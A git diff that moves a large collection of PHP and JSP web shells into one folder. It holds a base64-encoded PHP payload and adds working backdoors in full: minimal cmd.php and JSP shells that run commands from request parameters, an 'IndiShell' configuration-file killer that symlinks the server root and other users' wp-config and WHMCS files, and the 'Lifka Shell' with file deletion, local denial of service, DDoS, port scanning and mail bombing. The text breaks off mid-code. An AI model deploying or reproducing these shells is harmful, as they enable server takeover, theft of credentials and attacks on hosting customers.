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");?> diff --git a/Collection/andela.php b/Collection/andela.php new file mode 100644 index 0000000..1e82aca --- /dev/null +++ b/Collection/andela.php @@ -0,0 +1,16 @@ + diff --git a/aspydrv.php b/Collection/aspydrv.php similarity index 100% rename from aspydrv.php rename to Collection/aspydrv.php diff --git a/b374k-mini-shell-php.php.php b/Collection/b374k-mini-shell.php similarity index 100% rename from b374k-mini-shell-php.php.php rename to Collection/b374k-mini-shell.php diff --git a/backupsql.php b/Collection/backupsql.php similarity index 100% rename from backupsql.php rename to Collection/backupsql.php diff --git a/Collection/bloodsecv4.php b/Collection/bloodsecv4.php new file mode 100644 index 0000000..faa74d0 --- /dev/null +++ b/Collection/bloodsecv4.php @@ -0,0 +1,6 @@ + diff --git a/Collection/by.php b/Collection/by.php new file mode 100644 index 0000000..36953d3 --- /dev/null +++ b/Collection/by.php @@ -0,0 +1,8138 @@ + diff --git a/c0derz shell [csh] v. 0.1.1 release.php b/Collection/c0derz_shell.php similarity index 100% rename from c0derz shell [csh] v. 0.1.1 release.php rename to Collection/c0derz_shell.php diff --git a/c99_locus7s.php b/Collection/c99_locus7s.php similarity index 100% rename from c99_locus7s.php rename to Collection/c99_locus7s.php diff --git a/c99_madnet.php b/Collection/c99_madnet.php similarity index 100% rename from c99_madnet.php rename to Collection/c99_madnet.php diff --git a/Collection/c99ud.php b/Collection/c99ud.php new file mode 100644 index 0000000..ba8f82a --- /dev/null +++ b/Collection/c99ud.php @@ -0,0 +1 @@ + diff --git a/cgitelnet.php b/Collection/cgitelnet.php similarity index 100% rename from cgitelnet.php rename to Collection/cgitelnet.php diff --git a/Collection/cmd.php b/Collection/cmd.php new file mode 100644 index 0000000..b9b96e3 --- /dev/null +++ b/Collection/cmd.php @@ -0,0 +1,9 @@ +"; +$cmd = ($_REQUEST['cmd']); +system($cmd); +echo "
"; +die; +} +?> diff --git a/Collection/configkillerionkros.php b/Collection/configkillerionkros.php new file mode 100644 index 0000000..92801d5 --- /dev/null +++ b/Collection/configkillerionkros.php @@ -0,0 +1,228 @@ + + + +--==[[Configuration File Killer By Ion Kros]]==-- + + + +'; ?> + + + + + + + + --==[[ Configuration File Killer By Team IndiShell ]]==--
+ + + + #############################################################################################################################################################
-==[[Greetz to]]==--
Guru ji zero ,code breaker ica, Aasim shaikh, Raman kumar rana,INX_r0ot,Darkwolf indishell, Chinmay Pandya ,Silent poison India,Magnum sniper,Atul Dwivedi,ethicalnoob Indishell,Local root indishell,Irfninja indishell
cool toad,cool shavik, Ebin V Thomas,Dinelson Amine ,Mr. Trojan,rad paul,Godzila,mike waals,Neo hacker ICA, Golden boy INDIA,Ketan Singh,Yash,Reborn India,Alicks,Aneesh Dogra,silent hacker,lovetherisk
Suriya Prakash,cyber gladiator,Ashell india,Cyber Ace,hero,Minhal Mehdi ,Raj bhai ji,cold fire hacker,Prashant Tanwar, VikAs ViKi ,Rakesh, Bhuppi,Mohit, Ffe ^_^,Ashish,Shardhanand,Bhuppi and rest of TEAM INDISHELL
+ +--==[[Dedicated to]]==-- +
# SH.Kishan Singh Tanwar and my Ex Teacher Mrs. Ritu Tomer Rathi #
--==[[Interface Desgined By]]==--
Deepika Kaushik
+ ############################################################################################################################################################# + + + + +'; + +?> +

Welcome Bhai ji :) .. Configuration file killer welcomes you _/\_
+
The button given below generates php.ini file :)

+

+
The button given below extract usernames for symlink :)

+

+ + open this link in new tab to run PHP.INI"; + echo $link; + + } + + + + ?> + + +
+

+
+ + "; + if(isset($_POST['su'])) + { + mkdir('Indishell',0777); +$rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; +$g = fopen('Indishell/.htaccess','w'); +fwrite($g,$rr); +$indishell = symlink("/","Indishell/root"); + $rt=" OwN3d"; + echo "Bhai ji .... check link given below for / folder symlink
$rt"; + + $dir=mkdir('INDISHELL',0777); + $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; + $f = fopen('INDISHELL/.htaccess','w'); + + fwrite($f,$r); + $consym="configuration files"; + echo "
The link given below for configuration file symlink...open it, once processing finish
$consym"; + + $usr=explode("\n",$_POST['user']); + $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php"); + foreach($usr as $uss ) + { + $us=trim($uss); + + foreach($configuration as $c) + { + $rs="/home/".$us."/public_html/".$c; + $r="INDISHELL/".$us.$c; + symlink($rs,$r); + + } + + } + + + } + + + + ?> diff --git a/cpanel.php b/Collection/cpanel.php similarity index 100% rename from cpanel.php rename to Collection/cpanel.php diff --git a/cw.php b/Collection/cw.php similarity index 100% rename from cw.php rename to Collection/cw.php diff --git a/cybershell.php b/Collection/cybershell.php similarity index 100% rename from cybershell.php rename to Collection/cybershell.php diff --git a/dC3_Security_Crew_Shell_PRiV.php b/Collection/dC3_Security.php similarity index 100% rename from dC3_Security_Crew_Shell_PRiV.php rename to Collection/dC3_Security.php diff --git a/Collection/easy-simple-php-webshell.php b/Collection/easy-simple-php-webshell.php new file mode 100644 index 0000000..1811e14 --- /dev/null +++ b/Collection/easy-simple-php-webshell.php @@ -0,0 +1,17 @@ + + +
+ + +
+
+
+
+ + + \ No newline at end of file diff --git a/erne.php b/Collection/erne.php similarity index 100% rename from erne.php rename to Collection/erne.php diff --git a/ex0shell.php b/Collection/ex0shell.php similarity index 100% rename from ex0shell.php rename to Collection/ex0shell.php diff --git a/fatal.php b/Collection/fatal.php similarity index 100% rename from fatal.php rename to Collection/fatal.php diff --git a/ftpsearch.php b/Collection/ftpsearch.php similarity index 100% rename from ftpsearch.php rename to Collection/ftpsearch.php diff --git a/g00nshell-v1.3.php b/Collection/g00nshell-v1.3.php similarity index 100% rename from g00nshell-v1.3.php rename to Collection/g00nshell-v1.3.php diff --git a/go-shell.php b/Collection/go-shell.php similarity index 100% rename from go-shell.php rename to Collection/go-shell.php diff --git a/h4ntu shell [powered by tsoi].php b/Collection/h4ntu_shell.php similarity index 100% rename from h4ntu shell [powered by tsoi].php rename to Collection/h4ntu_shell.php diff --git a/hiddens shell v1.php b/Collection/hiddens_shell.php similarity index 100% rename from hiddens shell v1.php rename to Collection/hiddens_shell.php diff --git a/ironshell.php b/Collection/ironshell.php similarity index 100% rename from ironshell.php rename to Collection/ironshell.php diff --git a/Collection/jspshell.jsp b/Collection/jspshell.jsp new file mode 100644 index 0000000..f5bbe9e --- /dev/null +++ b/Collection/jspshell.jsp @@ -0,0 +1,32 @@ +<%@ page +import="java.util.*,java.io.*"%> +<% +%> + + +

JSP SHELL

+
+ + +
+
+<%
+if (request.getParameter("cmd") != null) {
+out.println("Command: " +
+request.getParameter("cmd") + "
"); +Process p = +Runtime.getRuntime().exec(request.getParameter("cmd")); +OutputStream os = p.getOutputStream(); +InputStream in = p.getInputStream(); +DataInputStream dis = new DataInputStream(in); +String disr = dis.readLine(); +while ( disr != null ) { +out.println(disr); +disr = dis.readLine(); +} +} +%> +
+ + diff --git a/kral.php b/Collection/kral.php similarity index 100% rename from kral.php rename to Collection/kral.php diff --git a/lamashell.php b/Collection/lamashell.php similarity index 100% rename from lamashell.php rename to Collection/lamashell.php diff --git a/Collection/lifkaS.php b/Collection/lifkaS.php new file mode 100644 index 0000000..a291e95 --- /dev/null +++ b/Collection/lifkaS.php @@ -0,0 +1,748 @@ + "" ){ +$path_parts = pathinfo("$descargar"); +$entrypath=$path_parts["basename"]; +$name = "$descargar"; +$fp = fopen($name, 'rb'); +header("Content-Disposition: attachment; filename=$entrypath"); +header("Content-Length: " . filesize($name)); +fpassthru($fp); +exit;} +$scan = range("B","Z"); +$var1= $_SERVER['DOCUMENT_ROOT']; +$shelldir = $var1.$_SERVER['PHP_SELF']; +if ($opcion == 'tirar') { +$asda=str_repeat("99999999999999999999999999999999999999999999999999",99999); +for($i=0;$i<2;){ +$buff=bcpow($asda, '3', 2); +$buff=null; +exit();}} +$frpath=$_GET['borrar']; +if ($frpath <> "") { +if (is_dir($frpath)){ +$matches = glob($frpath . '/*.*'); +if ( is_array ( $matches ) ) { + foreach ( $matches as $filename) { + unlink ($filename); + rmdir("$frpath"); +echo ""; } } } + else{ +unlink ("$frpath"); +echo ""; +exit(0); }} +$opcion = $_GET[opcion]; +if ($opcion == 'php_info') { +echo '<== Volver'; +echo phpinfo(); +return 0;} +$nombre_s = 'Lifka Shell'; +$nombre_princi = 'LIFKA SHELL'; +$version = '1.0'; +if (md5($_POST['pass']) == $password) { +$_SESSION["login"] = 'ok'; +} + if ($_SESSION["login"] != 'ok') { + echo '
Pass:
'; +return 0; +} +exec('wget --help',$wget); +if ($wget) { +$wgete = 'On'; +} else { +$wgete = 'Off'; +} +if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") { +$magic = 'On'; +} else { +$magic = 'Off'; +} +exec("perl -h",$perl); +if ($perl) { +$perle = 'On'; +} else { +$perle = 'Off'; +} +$target = $_POST['target']; +$inicio = $_POST['inicio']; +$final = $_POST['final']; +$pathe = getcwd(); +if(ini_get('safe_mode') ){ +$safe = 'On'; +}else{ +$safe = 'Off'; +} +$curl_on = @function_exists('curl_version'); +if (@function_exists('mysql_connect')) { +$base = 'MySQL'; +} elseif(@function_exists('mssql_connect')) { +$base = $base.' MSSQL'; +} elseif(@function_exists('pg_connect')) { +$base = $base.' PostgreSQL'; +} elseif(@function_exists('ocilogon')) { +$base = $base.' Oracle'; +} +echo ' '.$nombre_s.' +
'.$nombre_princi.'

File manager | System info | Mail | DOS | Port scan | Eval | Encode/Decode | Logout

'; +if (isset($_GET['leer'])) { +header("Content-Type: application/octet-stream"); +header("Content-Disposition: attachment; filename=".basename($_GET['leer'])); +readfile($_GET['leer']); +echo '


'.$nombre_s.' '.$version.'
'; +exit(0);} + $editar=$_GET['editar']; + if ($editar <> "" ){ + $editar=realpath($editar); + $lines = file($editar); +echo '
Editar



+





'.$nombre_s.' '.$version.'
'; + $gardara=$_POST['gardara']; + $filepath=realpath($_POST['filepath']); + if ($gardara <> "") + { + $fp=fopen("$filepath","w+"); + fwrite ($fp,"") ; + fwrite ($fp,$gardara) ; + fclose($fp); + echo ""; + } +return 0; + } +function tamaño($size){ +if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} +elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} +elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} +else {$size = $size . " B";} +return $size;} +function permisos($file) +{ + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) {$info = 's';} + elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} + elseif (($perms & 0x8000) == 0x8000) {$info = '-';} + elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} + elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} + elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} + elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} + else {$info = 'u';} + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info; +} +$fchmod=$_GET['fchmod']; +if ($fchmod <> "" ){ +$fchmod=realpath($fchmod); +echo "

File: $fchmod

Chmod :


'; +?> + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Calculate perms
PermsOwnerGroupOther
Read
Write
Execute
+
+
+ ""){ +chmod ($fchmod , $chmod0); +}else { +echo "No se permite cambiar Chmod"; +}} +echo '

'.$nombre_s.' '.$version.'
'; +exit(); +} +if ($opcion == 'info_sistema') { +echo '
System info

  PHP info
  Sistema operativo: '.php_uname().'
  Server: '.$_SERVER['SERVER_SOFTWARE'].'
  Versionn PHP: '.PHP_VERSION.'
  Espacio: '.tamaño(diskfreespace(getcwd())).'/'.tamaño(disk_total_space(getcwd())).'
  Host: '.$_SERVER['HTTP_HOST'].'
  IP: '.$_SERVER['SERVER_ADDR'].'
  Admin mail: '.$_SERVER['SERVER_ADMIN'].'
  Safe Mode: '.$safe.'
  cURL: '.(($curl_on)?('On'):('Off')).'
  Perl: '.$perle.'.
  Magic quotes: '.$magic.'.
  WGET: '.$wgete.'.
  Bases de datos activas: '.$base.'
'; +if (file_exists("C:/WINDOWS/repair/sam")) { +echo '  Found: SAM'; +} +if (file_exists("/etc/passwd")) { +echo '  Found: etc/passwd
'; +} +echo '
'; +} elseif ($opcion == 'dos') { +echo '
DOS


DDOS | DOS Local'; +} elseif ($opcion == 'escaner_puertos') { +echo '
Port scan


Target:
Start:
End:


'; +if ($target != '') { +echo 'Target: '.$target.'
'; +echo 'Rango: '.$inicio.'-'.$final.'

'; +} +$final++; +for ( $i = $inicio ; $i < $final ; $i++ ) { +$abierto = @fsockopen($target,$i,$errno,$errstr,1); +if ($abierto) { +echo "Port open: ".$i."
"; +} else { +if ($target != '') { +echo "Port close: ".$i."
"; +}}} +echo '
'; +} elseif ($opcion == 'mail') { +echo '
Mail



Mail bomber | Mail anonymous'; +} elseif ($opcion == 'ddos') { + echo '
DDOS



URL: Time:

'; + if($_POST['ddosf'] && $_POST['timeddos']){ +for ($id=0;$$id<$_POST['timeddos'];$id++){ +$fp=null; +$contents=null; +$fp=fopen($_POST['ddosf'],"rb"); +while (!feof($fp)) { + $contents .= fread($fp, 8192); +} +fclose($fp); +}} +} elseif ($opcion == 'derribar') { + echo '
Dos local



Si pulsas el botón de abajo es probable que el servidor acabe caido, ¿estás seguro?

¡¡Tirar!! +'; + } elseif ($opcion == 'encode_decode') { +echo '
Encode/decode

'; + $tipoe = 'Cadena'; +$cadena = $_POST[cadena]; +$tipoende = $_POST[tipoende]; +if ($tipoende=='MD5 - encode') { + $resultado = md5($cadena); + } elseif ($tipoende=='MD4 - encode') { + $resultado = hash('md4', $cadena); + } + elseif ($tipoende=='SHA1 - encode') { + $resultado = sha1($cadena); + } + elseif ($tipoende=='SHA256 - encode') { + $resultado = hash('sha256', $cadena); + } + elseif ($tipoende=='SHA384 - encode') { + $resultado = hash('sha384', $cadena); + } + elseif ($tipoende=='SHA512 - encode') { + $resultado = hash('sha512', $cadena); + } + elseif ($tipoende=='ripemd128 - encode') { + $resultado = hash('ripemd128', $cadena); + } + elseif ($tipoende=='ripemd160 - encode') { + $resultado = hash('ripemd160', $cadena); + } + elseif ($tipoende=='ripemd256 - encode') { + $resultado = hash('ripemd256', $cadena); + } + elseif ($tipoende=='ripemd320 - encode') { + $resultado = hash('ripemd320', $cadena); + } + elseif ($tipoende=='whirlpool - encode') { + $resultado = hash('whirlpool', $cadena); + } + elseif ($tipoende=='tiger128,3 - encode') { + $resultado = hash('tiger128,3', $cadena); + } + elseif ($tipoende=='tiger160,3 - encode') { + $resultado = hash('tiger160,3', $cadena); + } + elseif ($tipoende=='tiger192,3 - encode') { + $resultado = hash('tiger192,3', $cadena); + } + elseif ($tipoende=='tiger128,4 - encode') { + $resultado = hash('tiger128,4', $cadena); + } + elseif ($tipoende=='tiger160,4 - encode') { + $resultado = hash('tiger160,4', $cadena); + } + elseif ($tipoende=='tiger192,4 - encode') { + $resultado = hash('tiger192,4', $cadena); + } + elseif ($tipoende=='snefru - encode') { + $resultado = hash('snefru', $cadena); + } elseif ($tipoende=='gost - encode') { + $resultado = hash('gost', $cadena); + } + elseif ($tipoende=='adler32 - encode') { + $resultado = hash('adler32', $cadena); + } elseif ($tipoende=='crc32 - encode') { + $resultado = hash('crc32', $cadena); + } + elseif ($tipoende=='crc32b - encode') { + $resultado = hash('crc32b', $cadena); + } elseif ($tipoende=='haval128,3 - encode') { + $resultado = hash('haval128,3', $cadena); + } + elseif ($tipoende=='haval160,3 - encode') { + $resultado = 